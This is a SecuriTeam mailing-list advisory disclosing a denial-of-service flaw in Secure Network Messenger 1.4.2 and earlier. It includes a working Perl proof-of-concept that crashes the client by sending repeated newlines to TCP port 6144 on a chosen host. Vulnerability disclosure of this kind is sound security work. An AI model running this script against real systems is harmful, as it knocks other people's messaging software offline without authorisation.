The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Secure Network Messenger DoS
------------------------------------------------------------------------
SUMMARY
" <http://www.networkmessengers.com/msg/> Secure Network Messenger (SNM) -
is a real time network communication program to send and receive messages
from one computer to another without using dedicated servers."
As reported, Secure Network Messenger can be crashed by sending client
large amount of carriage returns (\r\n). Presented here is proof of
concept code to the vulnerability.
DETAILS
Vulnerable Systems:
* Secure Network Messenger Version 1.4.2 and prior.
Exploit Code:
#!/usr/bin/perl
use IO::Socket;
print ("\nSecure Network Messenger Crasher by ClearScreen\n");
print ("\nEnter host to crash: ");
$h = <STDIN>;
chomp $h;
$socks = IO::Socket::INET->new(
Proto => "tcp",
PeerPort => "6144",
PeerAddr => "$h"
) or die "\nNo response from host.";
sleep 1;
print "\nSuccesfully connected to $h!\n";
for ($count=1; $count<15; $count++)
{
print $socks "\n";
select(undef, undef, undef, 0.1);
}
print "\nMessenger crashed.";
close $socks;
ADDITIONAL INFORMATION
The information has been provided by <mailto:clearscreen@lycantrope.com>
r`Futile.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
